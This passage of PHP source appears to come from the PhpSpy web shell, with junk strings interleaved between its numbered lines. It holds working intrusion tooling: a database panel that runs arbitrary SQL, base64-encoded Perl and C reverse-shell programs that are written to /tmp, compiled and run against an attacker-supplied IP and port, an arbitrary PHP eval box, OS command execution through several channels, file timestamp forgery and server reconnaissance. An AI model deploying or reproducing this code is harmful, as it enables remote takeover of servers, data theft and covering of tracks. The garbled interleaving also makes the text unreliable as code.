     9 U  [1 b3 q# j8 m
905.                                         p('<td>Default</td>');
     
906.                                         p('<td>Extra</td>');
     ' b. F( T2 D* ?. d; y1 C4 F
907.                                         p('</tr>');
     & m( k. ^/ J5 h/ V/ j* _% k
908.                                         foreach ($rowdb as $row) {
     ! ?/ a; J" {, a0 w
909.                                                 $thisbg = bg();
     ' d; B+ O9 T/ ], v
910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
911.                                                 p('<td>'.$row['Field'].'</td>');
     
912.                                                 p('<td>'.$row['Type'].'</td>');
     
913.                                                 p('<td>'.$row['Null'].' </td>');
     
914.                                                 p('<td>'.$row['Key'].' </td>');
     8 q7 o# A  w% m' B2 k/ X( w
915.                                                 p('<td>'.$row['Default'].' </td>');
     
916.                                                 p('<td>'.$row['Extra'].' </td>');
     
917.                                                 p('</tr>');
     6 N1 M: r$ i+ f9 H2 z& P% R6 k
918.                                         }
     , x/ f2 s. Y( G+ R8 W" v/ W( [
919.                                         tbfoot();
     
920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
     & x0 f" f2 [$ V8 i9 q: O
921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);
     
922.                                         while ($row = mysql_fetch_array($result)) {
     
923.                                                 $rowdb[] = $row;
     0 C  V' u5 C3 w0 u1 R
924.                                         }
     
925.                                         $rs = array();
     2 S" d% Z, Y7 w, x& d- u9 ], J, y- {
926.                                         if ($doing == 'insert') {
     ( C5 c8 m& I7 j
927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
     " }. E) @9 u; i1 m8 }# ?1 _! A1 D
928.                                         } else {
     6 {2 O$ E8 w$ @
929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
     
930.                                                 $where = base64_decode($base64);
     / I0 P' ]; ]& Q7 u: [6 ]8 ~* |2 x
931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
     7 l6 Q) S5 |0 @& [# Q
932.                                                 $rs = mysql_fetch_array($result);
     7 G2 ]' n+ U6 n$ w4 l- [1 W8 M8 n
933.                                         }
     
934.                                         p('<form method="post" action="'.$self.'">');
     
935.                                         p($dbform);
     7 k+ ~& j5 \  V0 P  L7 L# ]
936.                                         makehide('action','sqladmin');
     ; K' n7 C8 z- K  u
937.                                         makehide('tablename',$tablename);
     $ h: a* U) }; s
938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     2 k% n; y8 B: _* ]( l
939.                                         foreach ($rowdb as $row) {
     
940.                                                 if ($rs[$row['Field']]) {
     " `( @  p2 Y) u8 o7 a8 j% m
941.                                                         $value = htmlspecialchars($rs[$row['Field']]);
     
942.                                                 } else {
     / {$ M9 g' [/ O3 K" ~6 V( k+ D' P
943.                                                         $value = '';
     
944.                                                 }
     - @4 b( I  \6 q3 x2 c3 |
945.                                                 $thisbg = bg();
     " o1 x/ s' B0 L* h" ^* w6 A
946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
     
948.                                         }
     
949.                                         if ($doing == 'insert') {
     
950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
     ( Y8 q; u4 b2 p% O. G8 I9 h
951.                                         } else {
     & n: X' Q0 @0 ^3 @; Y
952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
     
953.                                                 makehide('base64', $base64);
     
954.                                         }
     . E. L" k  c" V4 P
955.                                         p('</table></form>');
     
956.                                 } else {
     
957.                                         $querys = @explode(';',$sql_query);
     $ r7 r- g) F1 s; Y
958.                                         foreach($querys as $num=>$query) {
     
959.                                                 if ($query) {
     ! j9 H- Y; \& M' ~$ q
960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
       h& R6 y7 ~( |3 l; Z: A6 y
961.                                                         switch(qy($query))
     8 p5 A3 v% G. F- S' i
962.                                                         {
     
963.                                                                 case 0:
     
964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
     * ~/ `; i& j; N* A; G5 b4 N& {- C8 U
965.                                                                         break;       
     
966.                                                                 case 1:
     
967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {
     ' K, M: M9 w# h" q3 f6 X4 q/ T
968.                                                                                 $allowedit = 1;
     . s8 F, i  t* `) w( j! W) r
969.                                                                         }
     
970.                                                                         if ($getnumsql) {
     
971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
     9 L# d" Y9 j  g% b2 q
972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);
     3 W# s" Y1 z& O- P) y; L
973.                                                                         }
     ' [+ ~; {2 q$ U' e% Y
974.                                                                         if (!$tablename) {
     , T" y* f8 s2 Z
975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
     
976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
     3 t" x$ L) |. t; t8 Z* Y
977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
     # U3 ~" E: X$ F3 G3 v
978.                                                                                 $tablename = $matches[1][0];
     
979.                                                                         }
     6 v: z  ~- R! C! m: W9 ~8 t- z, P8 S+ K+ l
980.                                                                         $result = q($query);
     # q- e  T$ A1 X+ E+ y
981.                                                                         p($multipage);
     
982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     
983.                                                                         p('<tr class="head">');
     $ Y. J" ~; @2 f! _
984.                                                                         if ($allowedit) p('<td>Action</td>');
     7 Y; B) _% c9 t
985.                                                                         $fieldnum = @mysql_num_fields($result);
     ; @  B- ?) w9 x& u) }6 E. C
986.                                                                         for($i=0;$i<$fieldnum;$i++){
     
987.                                                                                 $name = @mysql_field_name($result, $i);
     $ o/ Q5 Y) s1 M9 m  y  }+ x$ L
988.                                                                                 $type = @mysql_field_type($result, $i);
     
989.                                                                                 $len = @mysql_field_len($result, $i);
     
990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
     
991.                                                                         }
     0 c5 J, I3 C( F
992.                                                                         p('</tr>');
     2 F5 }% r2 z" q/ P
993.                                                                         while($mn = @mysql_fetch_assoc($result)){
     / E: O* l+ N7 \5 y" B/ l
994.                                                                                 $thisbg = bg();
       W1 o; |* r  o- |9 e
995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     5 u" L. q6 w) y
996.                                                                                 $where = $tmp = $b1 = '';
     
997.                                                                                 foreach($mn as $key=>$inside){
     * @4 L2 P$ t( @1 K
998.                                                                                         if ($inside) {
     
999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
     
1000.                                                                                                 $tmp = ' AND ';
        [; s7 A# [7 P3 I  t0 G
1001.                                                                                         }
      
1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
      
1003.                                                                                 }
      ; i& T' Y( a8 l4 v
1004.                                                                                 $where = base64_encode($where);
      2 m# r. a+ M( \* m# K0 m1 `
1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
      , ^) [! I5 ?- D7 C3 D0 Z
1006.                                                                                 p($b1);
      
1007.                                                                                 p('</tr>');
      ; Y2 x7 b8 [: Y( X
1008.                                                                                 unset($b1);
      ) d, K4 R- z/ }+ y" g( {2 j
1009.                                                                         }
      & H9 |  ^/ B0 D. ~8 s0 G
1010.                                                                         tbfoot();
      
1011.                                                                         p($multipage);
      5 x# k) Q3 z# r* Q
1012.                                                                         break;       
      3 K' J- M4 J7 w7 L  D
1013.                                                                 case 2:
      
1014.                                                                         $ar = mysql_affected_rows();
      
1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');
      
1016.                                                                         break;
      8 g+ v; c' w& x3 @
1017.                                                         }
      
1018.                                                 }
      
1019.                                         }
      
1020.                                 }
      
1021.                         } else {
      
1022.                                 $query = q("SHOW TABLE STATUS");
      
1023.                                 $table_num = $table_rows = $data_size = 0;
      
1024.                                 $tabledb = array();
      - U) @, h  F0 @- Y3 }
1025.                                 while($table = mysql_fetch_array($query)) {
      ( @6 p9 E! c/ m' R' G6 l" X
1026.                                         $data_size = $data_size + $table['Data_length'];
      
1027.                                         $table_rows = $table_rows + $table['Rows'];
      0 [& ]9 g7 {0 q6 y7 O4 Y
1028.                                         $table['Data_length'] = sizecount($table['Data_length']);
      ; J- v2 m- Q' E+ l! A/ T# ?9 {
1029.                                         $table_num++;
      
1030.                                         $tabledb[] = $table;
      
1031.                                 }
      
1032.                                 $data_size = sizecount($data_size);
      
1033.                                 unset($table);
      : C( l# \4 `; g% L
1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');
      
1035.                                 p('<form action="'.$self.'" method="POST">');
      ' ~) @6 k. G, c$ S, j/ G6 G
1036.                                 makehide('action','sqladmin');
      ) D, i" Q$ w) k2 I# c: Y
1037.                                 p($dbform);
      # H9 o" d& C0 H/ u
1038.                                 p('<tr class="head">');
      5 {: \) \* c. {  t3 ?) O: b
1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
      
1040.                                 p('<td>Name</td>');
      
1041.                                 p('<td>Rows</td>');
      : q( q7 @' w4 Y7 U6 `6 K1 P, D* {
1042.                                 p('<td>Data_length</td>');
      
1043.                                 p('<td>Create_time</td>');
      
1044.                                 p('<td>Update_time</td>');
      
1045.                                 if ($highver) {
      + N$ B) Y8 C1 y
1046.                                         p('<td>Engine</td>');
      , x. z! g8 a# q
1047.                                         p('<td>Collation</td>');
      8 h& G8 l8 d' x1 R. |& U' @
1048.                                 }
      
1049.                                 p('</tr>');
      3 A6 u$ ^) R8 y5 Z2 m
1050.                                 foreach ($tabledb as $key => $table) {
      . r$ u2 s* @* F
1051.                                         $thisbg = bg();
      
1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
      
1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
      : O) n8 N3 [; D6 f& c
1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
      9 |: N; I% K3 ^" H4 z
1055.                                         p('<td>'.$table['Rows'].'</td>');
      4 B0 H! p4 i5 S& N
1056.                                         p('<td>'.$table['Data_length'].'</td>');
      4 {- Z9 v$ T8 \/ [
1057.                                         p('<td>'.$table['Create_time'].'</td>');
        ^5 Z, J. M' m6 v
1058.                                         p('<td>'.$table['Update_time'].'</td>');
      9 X4 i/ D9 w1 q( w) U2 c
1059.                                         if ($highver) {
      
1060.                                                 p('<td>'.$table['Engine'].'</td>');
      : \" p* E$ e; ?  ?. }1 n3 Q
1061.                                                 p('<td>'.$table['Collation'].'</td>');
      
1062.                                         }
      
1063.                                         p('</tr>');
      
1064.                                 }
      : F7 B2 f, _, }; M
1065.                                 p('<tr class='.bg().'>');
      , X: G1 ^) I8 N) a+ ^
1066.                                 p('<td> </td>');
      
1067.                                 p('<td>Total tables: '.$table_num.'</td>');
      6 S" E4 @7 M. V) c& k, s3 C. ^5 k
1068.                                 p('<td>'.$table_rows.'</td>');
      
1069.                                 p('<td>'.$data_size.'</td>');
      7 j) P1 Y! i1 l: k7 s
1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
      
1071.                                 p('</tr>');
      9 m  J; T9 c$ v
1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
      ' m: c5 L2 B( h8 f& V4 F2 X
1073.                                 makehide('doing','backupmysql');
      
1074.                                 formfoot();
      
1075.                                 p("</table>");
      
1076.                                 fr($query);
      - |5 H; t/ e* s
1077.                         }
      
1078.                 }
      " D  N+ @5 c/ d+ Z) t: n7 K5 R
1079.         }
      
1080.         tbfoot();
      
1081.         @mysql_close();
      
1082. }//end sql backup
      
1083. elseif ($action == 'backconnect') {
      
1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
      1 S3 T  `# G4 j& R
1085.         !$yourport && $yourport = '12345';
      . _  D. I1 {  O. v- `
1086.         $usedb = array('perl'=>'perl','c'=>'c');
      
1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
      
1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
      
1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
      
1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
      6 R; ~  a. m* I! g
1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
      
1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
      
1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
      4 T$ e2 Y% Q3 v& e7 `& k$ J9 Y. U5 F
1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
      . x8 P4 {8 T+ U) M
1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
      ) q2 r6 l/ J. F$ M& T8 u9 W
1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
      
1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
      + W' W' U2 L* g
1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
      . S$ T0 U( y6 ^) A( D) I+ g) S' |
1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
      
1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
      
1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
      
1102.         if ($start && $yourip && $yourport && $use){
      
1103.                 if ($use == 'perl') {
      1 S: F4 s! D6 h( ~% i
1104.                         cf('/tmp/angel_bc',$back_connect);
      
1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
      
1106.                 } else {
      
1107.                         cf('/tmp/angel_bc.c',$back_connect_c);
      
1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
      
1109.                         @unlink('/tmp/angel_bc.c');
      , |) Q9 i/ ?1 t$ a: f& O
1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");
      1 |8 v! m) l( \1 S* _9 b: }
1111.                 }
      
1112.                 m("Now script try connect to $yourip port $yourport ...");
      " w" c2 I# @2 I
1113.         }
      
1114.         formhead(array('title'=>'Back Connect'));
      
1115.         makehide('action','backconnect');
      8 ?+ |  T0 ^( X2 }+ l7 }0 o
1116.         p('<p>');
      2 z9 k( x" \. r; E
1117.         p('Your IP:');
      6 {' Z* l# ^7 t3 J: X5 H
1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
      
1119.         p('Your Port:');
      
1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
      
1121.         p('Use:');
      ' a4 n2 }  `; F, c& a/ Q
1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
      
1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
      , j; J; H+ |. F9 l/ s, E
1124.         p('</p>');
      
1125.         formfoot();
      
1126. }//end sql backup
      
1127. elseif ($action == 'eval') {
      ! k  \6 `( R4 c; V7 E" A/ `. w
1128.         $phpcode = trim($phpcode);
      + d- L9 s$ Y/ f0 x
1129.         if($phpcode){
      
1130.                 if (!preg_match('#<\?#si', $phpcode)) {
      
1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";
      
1132.                 }
      
1133.                 eval("?".">$phpcode<?");
      1 L3 L8 j1 b8 C8 w5 q+ Z  w# ]+ @
1134.         }
      
1135.         formhead(array('title'=>'Eval PHP Code'));
      / N* w  b" _: y4 q3 v
1136.         makehide('action','eval');
      % v! M8 O% v0 i; w1 ^& L
1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
      : q; W. A! n0 V/ k
1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
      " @$ N$ g+ g# Z6 j  R
1139.         formfooter();
      , r; A0 Y7 F" x7 a5 `" V2 c
1140. }//end eval
      9 _, ]. P6 m8 v4 O7 V; q4 z  g
1141. 
      * V! a$ y# m$ \( W
1142. elseif ($action == 'editfile') {
      
1143.         if(file_exists($opfile)) {
      % h+ D1 Q7 e6 u0 W# v* G7 H0 t
1144.                 $fp=@fopen($opfile,'r');
      
1145.                 $contents=@fread($fp, filesize($opfile));
        G  u0 Y, {& l5 D2 O0 C
1146.                 @fclose($fp);
      
1147.                 $contents=htmlspecialchars($contents);
      , K; E0 s8 ~3 {* i6 _( D* F
1148.         }
      
1149.         formhead(array('title'=>'Create / Edit File'));
      
1150.         makehide('action','file');
      7 n! Z" o# Z2 V2 {
1151.         makehide('dir',$nowpath);
      
1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
      , F& b' Q4 y& \- S- d6 M+ b( z
1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
      7 q# }1 H6 O; \, o: g5 n* y
1154.         formfooter();
      
1155. }//end editfile
      
1156. 
      6 ~  A& R% I) s# Z; S
1157. elseif ($action == 'newtime') {
      
1158.         $opfilemtime = @filemtime($opfile);
      6 G  W# C+ v2 e( V
1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");
      ' v) s* u. p% G1 `6 O, r
1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
      1 P6 K8 l& \/ b  V9 o
1161.         formhead(array('title'=>'Clone file was last modified time'));
      4 }6 G! r, p. t% m
1162.         makehide('action','file');
      
1163.         makehide('dir',$nowpath);
      
1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
      7 s  C+ F6 Z" v7 `
1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
      : A+ v8 |1 e% q/ X, j' Q) A7 E6 x9 ^# j
1166.         formfooter();
      
1167.         formhead(array('title'=>'Set last modified'));
      # D' `; f' q# P. w# V4 j
1168.         makehide('action','file');
      
1169.         makehide('dir',$nowpath);
      $ Z# |1 l. R5 @2 a! e" L
1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
      ! x% q' c2 L# m5 e3 i
1171.         p('<p>Instead »');
      
1172.         p('year:');
      
1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
      
1174.         p('month:');
      
1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
      0 c6 h# C! O: t, {, a5 t( ?! j
1176.         p('day:');
      3 U6 p) d- u/ ^  S1 g+ K( s
1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
      
1178.         p('hour:');
      , T9 r* C2 q& U% y
1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
      
1180.         p('minute:');
        t$ g0 z8 L: ~; ~2 Q. Z* ]
1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
      
1182.         p('second:');
      
1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
      
1184.         p('</p>');
      8 L6 P& m! o, f) E
1185.         formfooter();
      
1186. }//end newtime
      / z- {3 z, \2 ?' n
1187. 
      
1188. elseif ($action == 'shell') {
      % U$ s: @* E! B) S) Q- I
1189.         if (IS_WIN && IS_COM) {
      
1190.                 if($program && $parameter) {
      
1191.                         $shell= new COM('Shell.Application');
      
1192.                         $a = $shell->ShellExecute($program,$parameter);
      ! b- I, e. x9 Z, ~/ A
1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
      3 M* V8 B: M. @7 Q' z1 H" U0 V
1194.                 }
      
1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
      
1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
      . k; _: g' q6 g# h% }0 v
1197.                 formhead(array('title'=>'Execute Program'));
      % r3 z0 `$ K" u  A. }9 W
1198.                 makehide('action','shell');
      . i& I, R* S8 W
1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
      
1200.                 p('<p>');
        ]7 h% |0 O( _% T) F
1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
      1 w# O: s  N* D5 B
1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
      
1203.                 p('</p>');
      % J* ?/ z* h: I! X6 a* r" h5 G
1204.                 formfoot();
      ' e" r! h( H$ v" x  R% |. {& u
1205.         }
      7 J% p8 m, o3 g- B/ x, {* O
1206.         formhead(array('title'=>'Execute Command'));
      5 c3 y* h0 o1 c% Y$ w/ U1 _
1207.         makehide('action','shell');
      9 f" z8 @+ a$ |' z  b
1208.         if (IS_WIN && IS_COM) {
      
1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
      
1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
      
1211.         }
      & E8 r4 }! w- N0 s2 [0 @
1212.         p('<p>');
      
1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
      
1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
      
1215.         p('</p>');
      
1216.         formfoot();
      2 q5 X; M. b1 a) H4 D: A
1217. 
      6 @' p, Y! v6 v7 H% E
1218.         if ($command) {
      
1219.                 p('<hr width="100%" noshade /><pre>');
      % `; t6 {: m4 |' f7 @" \
1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
      
1221.                         $wsh = new COM('WScript.shell');
      
1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);
      " f1 [4 r& K' T" {" Q5 m9 T1 ]
1223.                         $stdout = $exec->StdOut();
      - R* k+ q0 |9 l  ]
1224.                         $stroutput = $stdout->ReadAll();
      " g$ u8 o/ Q0 ~) e  F
1225.                         echo $stroutput;
      
1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
      & o7 O+ q9 E9 f
1227.                         $descriptorspec = array(
      & j0 ^4 H" x5 |( V$ b
1228.                            0 => array('pipe', 'r'),
      * w6 _# m0 |/ ?% g+ C* M: y
1229.                            1 => array('pipe', 'w'),
      1 R* m! N% Z* [  C$ W& _5 N$ m7 q
1230.                            2 => array('pipe', 'w')
      
1231.                         );
      
1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
      
1233.                         if (is_resource($process)) {
      
1234.                                 fwrite($pipes[0], $command."\r\n");
      
1235.                                 fwrite($pipes[0], "exit\r\n");
      
1236.                                 fclose($pipes[0]);
      
1237.                                 while (!feof($pipes[1])) {
      
1238.                                         echo fgets($pipes[1], 1024);
      
1239.                                 }
      $ \7 X5 y4 m' T' h) ^
1240.                                 fclose($pipes[1]);
      
1241.                                 while (!feof($pipes[2])) {
      ' S/ S3 ^1 c# A2 }7 V
1242.                                         echo fgets($pipes[2], 1024);
      - a; ~; s" N7 x+ _& t, a
1243.                                 }
      . ]: ^$ B2 o5 |. Y/ N/ p: L. p
1244.                                 fclose($pipes[2]);
      5 Z9 i9 s9 S8 l. ?
1245.                                 proc_close($process);
      
1246.                         }
      ( s6 o3 |/ d1 p, U
1247.                 } else {
      & c' O' T7 m  I# E
1248.                         echo(execute($command));
      2 l7 R  m* P* B$ }
1249.                 }
      $ |; n& {3 o$ `! V  W) y2 p1 w) U: L& o
1250.                 p('</pre>');
      ! W! {2 e' h3 l3 r7 H* s
1251.         }
      ; C; n. ~& ]) I6 D" L
1252. }//end shell
      * X9 J( B: k  B) @: K
1253. 
      
1254. elseif ($action == 'phpenv') {
      
1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
      9 T, a  }5 R+ y, i4 p
1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
      3 u$ A/ U) N( z) s
1257.         !$dis_func && $dis_func = 'No';       
      
1258.         $info = array(
      
1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
      
1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
      
1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
      
1262.                 4 => array('Server OS',PHP_OS),
      " z5 ^$ N# ~) y
1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
      
1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
      
1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
      % X6 T7 F& D5 _8 M
1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),
      
1267.                 9 => array('The file path',__FILE__),
      , u) Z/ n4 A* g  o: v
1268. 
      # ^6 j8 q! ^+ E: x
1269.                 10 => array('PHP Version',PHP_VERSION),
      
1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
        u  T! c" E# l2 f3 r; g
1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
      : e# e7 Y6 h" I( B) O
1272.                 13 => array('Administrator',$adminmail),
      ( X4 T5 M' E8 n3 [' y
1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
      0 w% T; z1 h0 u7 F, C& ]% J2 \
1274.                 15 => array('enable_dl',getcfg('enable_dl')),
      8 `. S/ N! }1 ~% \- t
1275.                 16 => array('display_errors',getcfg('display_errors')),
      , Q8 V) H3 u9 c$ c" [' @
1276.                 17 => array('register_globals',getcfg('register_globals')),
      
1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
      , ]: g; N, e7 l# x% Q
1278.                 19 => array('memory_limit',getcfg('memory_limit')),
      8 O" c" |  G6 m1 R7 {3 O
1279.                 20 => array('post_max_size',getcfg('post_max_size')),
      
1280.                 21 => array('upload_max_filesize',$upsize),
      " J) B5 N& H, `# P" m
1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
      
1282.                 23 => array('disable_functions',$dis_func),
      7 J4 P( p1 R, U1 D7 X( g
1283.         );
      0 w3 K, p+ ~3 F
1284. 
      
